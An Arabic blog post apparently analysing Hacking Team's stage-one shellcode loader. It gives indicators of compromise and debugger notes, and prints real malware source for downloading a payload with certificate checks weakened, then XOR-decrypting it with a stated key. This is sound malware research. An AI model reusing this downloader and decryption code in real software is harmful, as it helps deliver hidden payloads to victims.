تحليل لمحمّل شيلكود المرحلة الأولى من Hacking Team

مخطط انسيابي للكود

مؤشرات الاختراق (IoC) للشبكة

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)

مؤشرات الإصابة (IoC) (الملفات المُسقَطة)

2s5s7k8w8b4i.dat

9z8o5d9l0p6c.dat

حسنًا، ما هذا بحق الجحيم. لنبدأ. Loader.sln أو loader.c

حسنًا، إذن نقطة البداية، ومن نقطة البداية إلى asm؟ ماذا يحدث في asm؟ إنه شيلكود PIC (كود مستقل عن الموضع). رائع، وماذا يفعل؟ بشكل أساسي سيستدعي Loader(0xdeadbeef). لماذا؟ لا أعرف لماذا اختاروا هذا العنوان، لكن عند هذا العنوان يجب أن يكون الكود بعد فك التغليف. على أي حال، دعنا نكمل ونرى ما يحدث في المصحح. تصحيح: نحن نستدعي Loader(eax) وeax هو عنوان IP مع ملف .dat

الآن إذا تابعنا التدفق، ننتقل إلى loader

في الوقت الحالي سنتخطى LoadVtable لأنه موجود في كل مكان وكبير، وسنعود إليه بعد الانتهاء من تحليل باقي إمكانياته. الآن نذهب لفحص DownloadAndDecryptTls.

DownloadAndDecryptTls

الآن شيء لطيف لاحظته أثناء التصحيح.

هو أنه كما ترى في الصورة أعلاه وفي المقتطف التالي

DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent, 
		lpLoaderConfig->strUrl, 
		&dwFileSize, 
		lpLoaderConfig->dwXorKey, 
		lpLoaderConfig->dwXorKey ? TRUE : FALSE);

هو أن lpLoaderConfig يتم استرجاعه ديناميكيًا. لكن من أين؟ حسنًا، على ما يبدو أنه ينزّل أو يستخدم داخليًا ملف .dat هذا؟ وما هو ملف .dat هذا؟ عند فحص الأرشيف

نرى ملفًا رائعًا آخر shellcode_0x95d. إذا فحصناه في hxd

سترى مجموعة من استدعاءات API وهذا الرابط. إذن، هذا هو الشيلكود الفعلي :) رائع، سنلقي نظرة عليه بعد أن ننتهي من هذا.

الآن فقط لمرحلة لاحقة، مفتاح XOR هو 0x6281f17f. الآن لتحليل موجز حتى نقطة الاهتمام ValidateCa. حتى هناك، لا يحدث شيء مميز حقًا في هذه الدالة، أكثر الأشياء إثارة للاهتمام هو استدعاء InternetOpenA، الذي يهيّئ مكتبة DLL لأمور الشبكات. سيكون من الجيد فحصه ديناميكيًا لرؤية خدعة قاموا بها. يفعلون ذلك في كود C عبر

hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

وهي أقل بوسيط واحد من الـ API. على أي حال، يكفي كلامًا، لنرَ ما يحدث في الكود.

إذن في المصحح يبدو الأمر هكذا

لذا أعتقد أن ما يحدث هنا هو أنه نظرًا لاستخدام INTERNET_OPEN_TYPE_PRECONFIG، فإنه يستخدم بنية مُعدة مسبقًا ويكون لدى lptable الرابط بالفعل.

على أي حال، بعد ذلك لدينا ValidateCA

لذا على أي حال، لماذا نفعل هذا؟ لأنه ببساطة يحدد ما إذا كنا نريد استخدام https أو http

DWORD dwHttpsFlag = 0;

if( ValidateCA(lpTable) )
	dwHttpsFlag = INTERNET_FLAG_SECURE;
else
	dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;

ثم نقوم بطلب GET بسيط ثم ننزّل الملف من http. لا شيء مذهل هنا. إذا كنت تتساءل عما إذا كانت هناك أي خصوصية في الكود هنا، أعتقد لا، وربما يمكنك العثور على أمثلة على الإنترنت لكيفية القيام بذلك. كيف تقوم دالة DownloadFile بتنزيل الملفات؟ باستخدام InternetReadFileExA.

إذن على أي حال، هذا هو الكود

if( hOpen )
	{
		hConnect = lpTable->fpInternetConnect(hOpen,  serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );

		if( hConnect )
		{
			hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );

			if( hReq )
			{

			if( !ValidateCA(lpTable) )
			{
				DWORD dwFlags;
				dwBuffLen = sizeof(dwFlags);	
				lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
				dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
				lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
			}

				if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
				{
					dwBuffLen = 16;
					dwIdx = 0;

					lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
					*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);

					LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);			
					if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
					{
						if (bXored)
							lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
						else
							lpPayload = lpFileBuffer;
					}
					
				} // if( lpTable->fpHttpSendRequest )
			} // if( hReq )
		} // if( hConnect )
	} // if( hOpen )


	/* close handles */
	if( hReq )
		lpTable->fpInternetCloseHandle(hReq);
	if( hConnect)
		lpTable->fpInternetCloseHandle(hConnect);
	if( hOpen)
		lpTable->fpInternetCloseHandle(hOpen);

	return lpPayload;

الآن دعونا نفحص فحص if الخاص بفك التشفير لمعرفة ما إذا كان سيدخل في دالة فك التشفير أم لا. بناءً على افتراضاتي أثناء التجربة، ستكون قيمة bXored صحيحة، لذا يجب أن ندخل دالة فك التشفير. لسوء الحظ، كان افتراضنا خاطئًا لأن

lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down

لن نتمكن من إرسال طلب إلى ذلك الخادم الضار. يمكنني محاكاة خادم باستخدام frida، لكن إلى أي غاية؟ فنحن لدينا الحمولة (payload) بأنفسنا بالفعل. الآن فقط لنفككها ونقرر ما إذا كانت مشفرة أم لا. الآن يبدو فك التشفير أيضًا كالتالي

LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;

for (UINT i=0; i<dwBuffLen/4; i++)
	lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
	lpB[i] ^= 0x41;

return lpBuffer;

وهو XOR بمفتاحين، ومفتاح dwXorkey هو 0x6281f17f.

الآن نعود إلى دالة Loader لحل الجزء الأخير من المحمّل.

Analysis-for-stage1-shellcode-loader-from-hacking-

الأكثر شعبية